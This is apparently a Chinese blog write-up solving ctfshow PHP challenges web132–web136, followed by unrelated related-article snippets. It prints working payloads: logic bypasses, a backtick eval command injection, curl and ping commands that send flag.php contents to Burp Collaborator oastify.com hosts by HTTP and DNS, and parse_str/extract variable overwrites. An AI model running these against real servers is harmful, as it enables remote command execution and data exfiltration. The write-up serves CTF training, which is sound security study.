ctfshow-web入门-php特性(web132-web136)
目录
1、web132
2、web133
3、web134
4、web135
5、web136
1、web132

存在 robots.txt

访问 /admin

需要传三个参数,并且需要满足:
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){if($code == 'admin'){echo $flag;}
mt_rand(1, 0x36D) 会生成一个 1 到 877(十六进制0x36D)的随机数,因此 $code === mt_rand(1,0x36D) 这个条件很难满足,因为每次都会生成一个新的随机数,$code 很难与这个随机数相等。
当这个条件为假后,&& 后面的条件则不会再继续判断,直接返回 false;
&& 优先级高于 ||,对于 || 我们可以让最后一个条件满足,只要有一个为真都是返回 true。
后面继续判断 $code == 'admin' 即可,payload:
?username=admin&password=&code=admin

拿到 flag:ctfshow{dbe0a94b-b874-4ec4-83e6-b9e4d79b7978}
2、web133

正则表达式过滤掉了一些命令执行函数 ,substr() 函数会返回字符串的一部分,这里只截取了我们传入的前六个字符,然后执行 eval 函数。
六个字符显然不能构造出什么,但是如果我们传入的就是 $F 本身呢?
比如传入:?F=`$F `;sleep 3
观察发现页面确实存在延时,说明 sleep 3 执行成功了。

分析下为什么会这样:
`$F `;sleep 3 会先经过substr($F,0,6)截取六个字符后得到 `$F `;
然后执行 eval("`$F `;");
而其中的 $F 原本是我们传入的内容,即 `$F `;sleep 3;
因此执行的是 eval("``$F `;sleep 3`"); 也就会执行 sleep 3。
这里使用 burpsuite 的 Collaborator Client 结合 curl -F 命令外带 flag:
这个模块说实话我也是第一次用,先随机获取一个域名:
我这里复制下来是:ie06j1rcl08qz5vd887cz1c9f0ls9ix7.oastify.com
构造 payload:
?F=`$F`;+curl -X POST -F xx=@flag.php http://ie06j1rcl08qz5vd887cz1c9f0ls9ix7.oastify.com
对 payload 的一些解释:
-F 为带文件的形式发送 post 请求;
其中 xx 是上传文件的 name 值,我们可以自定义的,而 flag.php 就是上传的文件 ;
相当于让服务器向 Collaborator 客户端发送 post 请求,内容是flag.php。
提交 get 请求:

之后刷新一下 Collaborator Client 这边:


这里还可以直接命令执行:
?F=`$F`; curl http://7dlviqq1kp7fyuu27x61yqbyepkh8cw1.oastify.com/`ls`
命令的输出将被插入到 curl 命令的 URL 中

?F=`$F`; curl http://5lrtqoyzsnfd6s20fvez6ojwmnsfg94y.oastify.com/`cat flag.php|grep ctfshow`
因为 flag.php 内容是多行,所以结合 grep 找一下。

3、web134

代码审计:
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {die("nonononono");
}
如果通过 GET 或 POST 请求中设置了 key1 或 key2,脚本将停止执行并输出 "nonononono"。
@parse_str($_SERVER['QUERY_STRING']);
解析查询字符串并将变量提取到当前作用域中,@ 用于抑制可能的错误。
extract($_POST);
将 POST 请求中的参数提取为局部变量,这就可能会覆盖已有变量的值,例如 $key1 和 $key2。
payload:
?_POST[key1]=36d&_POST[key2]=36d
解析后,会将 $_POST['key1'] 和 $_POST['key2'] 赋值为 36d;
由于 extract($_POST),这两个 POST 参数会被提取为局部变量 $key1 和 $key2;
这样就能使 $key1 和 $key2 都等于 36d,从而通过最后的条件检查。

查看源码:

拿到 flag:ctfshow{a344ccbb-706d-40bb-a5c9-dfc5b041930b}
4、web135

新增了更多的命令过滤,但是这道题的当前目录可写。
payload:
?F=`$F`; nl f*>1.txt

之后访问 1.txt 即可看到 flag

拿到 flag:ctfshow{f5f86342-7b20-48ae-83a3-cfaa412cecac}
当然还可以用 cp、mv 命令:
?F=`$F`; cp flag.php 2.txt
?F=`$F`; mv flag.php 3.txt
也可以采用 DNS 外带的方法,payload:
?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd 'a-zA-Z0-9-'`.mf5ak5sgm49u09wh9c8g05ddg4mxatyi.oastify.com
用 nl 命令为 flag.php 文件中的每一行添加行号;
用 awk 命令选择第 15 行(flag 在多少行是需要不断尝试出来的);
tr -cd 'a-zA-Z0-9-' 这个命令会删除所有不是字母、数字、减号的内容,原本我想将大括号也保留,但是试了下不行。
这里重启了一下容器,因此 flag 有变动。


第 15 行的 flag1 内容:

?F=`$F`;+ping `nl flag.php | awk 'NR==16' | tr -cd 'a-zA-Z0-9-' `.mf5ak5sgm49u09wh9c8g05ddg4mxatyi.oastify.com

第 16 行的 flag2 内容:

flag 分为了两段,flag1 和 flag2,拼接起来,字母都改成小写字母,添加上大括号即可。
5、web136

过滤掉了一些命令和符号
其实我没怎么遇到过这个 exec 函数,尝试执行命令,但是发现回显空白:

在 PHP 中,exec、system 和、passthru 都是用来调用外部 Linux 命令的函数,但它们还是有区别的:
(1)system()
用于执行外部程序;
输出命令的执行结果到标准输出设备,并返回命令的最后一行结果;
可以通过传递第二个参数来捕获命令执行后的返回状态码。
(2)passthru()
用于执行外部程序;
将命令的原始输出直接发送到标准输出设备(通常是浏览器);
不返回任何值,但可以通过第二个参数捕获命令执行后的返回状态码。
(3)exec()
用于执行外部程序;
不会输出结果到标准输出,而是将最后一行结果作为返回值返回;
如果传入第二个参数(数组),可以将所有输出保存到这个数组中;
第三个参数是一个整数变量,用于捕获命令执行后的返回状态码。
我们可以将结果重定向到某个文件,然后再访问对应的文件,但是这里 > 被过滤了,我们可以使用 tee 命令来实现类似的功能,tee 命令可以将命令的输出写入到标准输出的同时写入到一个文件中,payload:
?c=ls|tee 1

访问 1,下载后用记事本打开,发现不存在 flag 相关的文件:

这里的 1.txt是我最开始尝试的:
才发现它过滤掉了点

但是我访问 1.txt,这个文件还是被创建了,并且里面有 ls 命令执行的结果:

仔细看了下代码,才发现这里的过滤其实就是个幌子,只是说匹配到正则会输出 too young too simple sometimes naive! 并没有直接 die 掉的,因此 exec 函数还是会继续执行的。

那我直接用重定向啊哈哈哈:
?c=ls />2.txt

访问 2.txt:
果然是虚晃一枪,发现存在名为 f149_15_h3r3 的文件。

直接读取:
?c=cat /f149_15_h3r3>3.txt


拿到 flag:ctfshow{53b1956a-8a2e-48f1-b443-f0e32d3e36b1}
如果真的是被过滤掉了,那就用 tee 命令代替:
?c=cat /f149_15_h3r3|tee 3
相关文章:
ctfshow-web入门-php特性(web132-web136)
目录 1、web132 2、web133 3、web134 4、web135 5、web136 1、web132 存在 robots.txt 访问 /admin 需要传三个参数,并且需要满足: if($code mt_rand(1,0x36D) && $password $flag || $username "admin"){if($code admin){ech…...
通信原理-实验六:实验测验
实验六 实验测验 一:测验内容和要求 测试需要完成以下几个步骤: 配置好以下网络图;占总分10%(缺少一个扣一分)根据下面图配置好对应的IP和网关以及路由等相关配置,保证设备之间连通正常;占总…...
意得辑润色新用户注册直减15%
ABSJU202 优惠了很多...
重拾CSS,前端样式精读-函数(颜色,计算,图像和图形)
前言 本文收录于CSS系列文章中,欢迎阅读指正 在计算机编程中,函数有着重要的作用和意义,它可以实现封装,复用,模块化,参数等功能效果,在如何在CSS中写变量?一文带你了解前端样式利…...
经纬恒润与奇瑞汽车签订新能源项目重点供应商合作协议,共同开启合作新篇章
近日,2024年国家级芜湖经开区汽车零部件生态大会成功举行,经纬恒润受邀出席,与行业各伙伴齐聚经开区,同绘发展蓝图,助力经开区汽车产业高质量发展。会上,经纬恒润与奇瑞汽车签署合作协议,成为奇…...
@RestController和@Controller
RestController和Controller 在 Spring MVC 中,RestController 和 Controller 是用于定义控制器的注解,但它们有一些重要的区别。下面是对它们的详细解释和示例: Controller Controller 注解用于标记一个类是一个 Spring MVC 控制器&#…...
STM32-寄存器DMA配置指南
配置步骤 在STM32F0xx中文参考手册中的DMA部分在开头给出了配置步骤 每个通道都可以在外设寄存器固定地址和存储器地址之间执行 DMA 传输。DMA 传输的数据 量是可编程的,最大达到 65535。每次传输之后相应的计数寄存器都做一次递减操作,直到 计数为&am…...
【Django】anaconda环境变量配置及配置python虚拟环境
文章目录 配置环境变量配置python虚拟环境查看conda源并配置国内源在虚拟环境中安装django 配置环境变量 control sysdm.cpl,,3笔者anaconda安装目录为C:\ProgramData\anaconda3 那么需要加入path中的有如下三个 C:\ProgramData\anaconda3 C:\ProgramData\anaconda3\Scripts C:…...
保障企业数据主权:安全可控的爬虫工具与管理平台
摘要 在数据驱动的时代,企业对数据的需求日益增长,但如何在保障数据主权的前提下高效采集数据?本文深入探讨了选择安全可控爬虫工具与管理平台的重要性,分析了关键特性,并提出实用建议,助力企业维护数据安…...
NC重建二叉树
系列文章目录 文章目录 系列文章目录前言 前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女通用,看懂了就去分享给你的码吧。 描述 给定节点数为…...
2025第十九届中国欧亚国际军民两用技术及西安国防电子航空航天暨无人机展
2025第十九届中国欧亚国际军民两用技术及西安国防电子航空航天暨无人机展 时间:2025年3月14-16日 地点:西安国际会展中心 详询主办方陆先生 I38(前三位) I82I(中间四位) 9I72(后面四位&am…...
电子邮件协议详解
电子邮件作为互联网通信的重要组成部分,已经成为日常交流不可或缺的一部分。为了确保电子邮件的有效传输和管理,计算机网络使用了多种协议。本文将深入探讨电子邮件协议中的三大核心协议:SMTP、POP3 和 IMAP。我们将详细介绍这些协议的工作原…...
C++客户端Qt开发——Qt窗口(工具栏)
2.工具栏 使用QToolBar表示工具栏对象,一个窗口可以有多个工具栏,也可以没有,工具栏往往也可以手动移动位置 ①设置工具栏 #include "mainwindow.h" #include "ui_mainwindow.h" #include<QToolBar> #include<…...
Python酷库之旅-第三方库Pandas(046)
目录 一、用法精讲 161、pandas.Series.cumsum方法 161-1、语法 161-2、参数 161-3、功能 161-4、返回值 161-5、说明 161-6、用法 161-6-1、数据准备 161-6-2、代码示例 161-6-3、结果输出 162、pandas.Series.describe方法 162-1、语法 162-2、参数 162-3、功…...
element表单disabled功能失效问题
element表单disabled功能失效问题 场景:当需要根据商品状态来判断是否开启disabled来禁用表单时, disabled绑定了对应的值, 但无论商品是哪种状态, 表单都能操作, disabled失效 <el-form-item label"商品分类"><el-selectv-model"form.packagesTypeI…...
react防抖和节流hooks封装
一、防抖和节流概述 防抖(debounce)和节流(throttle)是前端经常用到的工具函数。 在进行窗口的resize、scroll,输入框内容校验等操作时,如果事件处理函数调用的频率无限制,会加重浏览器的负担…...
DLMS/COSEM中公开密钥算法的使用_椭圆曲线加密法
1.概述 椭圆曲线密码涉及有限域上的椭圆曲线上的算术运算。椭圆曲线可以定义在任何数字域上(实数、整数、复数),但在密码学中,椭圆曲线最常用于有限素数域。 素数域上的椭圆曲线由一组实数(x, y)组成,满足以下等式: 方程的所有解的集合构成…...
argon主题调整日记
前言 argon主题是一款由solstice23开发的一款简洁美观的WordPress主题,在使用过程中也发现了几个可以优化的点,在查阅主题文档无果后对其进行以下几点修改。 1、使用子主题 为了避免修改源文件而引起主题更新后修改丢失的问题,还是尽量使用子…...
Godot入门 05收集物品
创建新场景,添加Area2D节点,AnimatedSprite2D节点 ,CollisionShape2D节点 添加硬币 按F键居中,放大视图。设置动画速度设为10FPS,加载后自动播放,动画循环 碰撞形状设为圆形,修改Area2D节点为Co…...
353_C++_Boost.Asio库来处理异步操作
逐行解析这段C++代码。该代码使用了Boost.Asio库来处理异步操作,并且使用了智能指针和线程相关的一些内容。 #include <boost/asio.hpp> #include <memory>这两行代码包含了Boost.Asio库和标准库中的智能指针std::shared_ptr的头文件。 /**********************…...
第19节 Node.js Express 框架
Express 是一个为Node.js设计的web开发框架,它基于nodejs平台。 Express 简介 Express是一个简洁而灵活的node.js Web应用框架, 提供了一系列强大特性帮助你创建各种Web应用,和丰富的HTTP工具。 使用Express可以快速地搭建一个完整功能的网站。 Expre…...
.Net框架,除了EF还有很多很多......
文章目录 1. 引言2. Dapper2.1 概述与设计原理2.2 核心功能与代码示例基本查询多映射查询存储过程调用 2.3 性能优化原理2.4 适用场景 3. NHibernate3.1 概述与架构设计3.2 映射配置示例Fluent映射XML映射 3.3 查询示例HQL查询Criteria APILINQ提供程序 3.4 高级特性3.5 适用场…...
ssc377d修改flash分区大小
1、flash的分区默认分配16M、 / # df -h Filesystem Size Used Available Use% Mounted on /dev/root 1.9M 1.9M 0 100% / /dev/mtdblock4 3.0M...
MySQL中【正则表达式】用法
MySQL 中正则表达式通过 REGEXP 或 RLIKE 操作符实现(两者等价),用于在 WHERE 子句中进行复杂的字符串模式匹配。以下是核心用法和示例: 一、基础语法 SELECT column_name FROM table_name WHERE column_name REGEXP pattern; …...
高防服务器能够抵御哪些网络攻击呢?
高防服务器作为一种有着高度防御能力的服务器,可以帮助网站应对分布式拒绝服务攻击,有效识别和清理一些恶意的网络流量,为用户提供安全且稳定的网络环境,那么,高防服务器一般都可以抵御哪些网络攻击呢?下面…...
JVM暂停(Stop-The-World,STW)的原因分类及对应排查方案
JVM暂停(Stop-The-World,STW)的完整原因分类及对应排查方案,结合JVM运行机制和常见故障场景整理而成: 一、GC相关暂停 1. 安全点(Safepoint)阻塞 现象:JVM暂停但无GC日志,日志显示No GCs detected。原因:JVM等待所有线程进入安全点(如…...
网站指纹识别
网站指纹识别 网站的最基本组成:服务器(操作系统)、中间件(web容器)、脚本语言、数据厍 为什么要了解这些?举个例子:发现了一个文件读取漏洞,我们需要读/etc/passwd,如…...
Docker 本地安装 mysql 数据库
Docker: Accelerated Container Application Development 下载对应操作系统版本的 docker ;并安装。 基础操作不再赘述。 打开 macOS 终端,开始 docker 安装mysql之旅 第一步 docker search mysql 》〉docker search mysql NAME DE…...
比较数据迁移后MySQL数据库和OceanBase数据仓库中的表
设计一个MySQL数据库和OceanBase数据仓库的表数据比较的详细程序流程,两张表是相同的结构,都有整型主键id字段,需要每次从数据库分批取得2000条数据,用于比较,比较操作的同时可以再取2000条数据,等上一次比较完成之后,开始比较,直到比较完所有的数据。比较操作需要比较…...
提升移动端网页调试效率:WebDebugX 与常见工具组合实践
在日常移动端开发中,网页调试始终是一个高频但又极具挑战的环节。尤其在面对 iOS 与 Android 的混合技术栈、各种设备差异化行为时,开发者迫切需要一套高效、可靠且跨平台的调试方案。过去,我们或多或少使用过 Chrome DevTools、Remote Debug…...
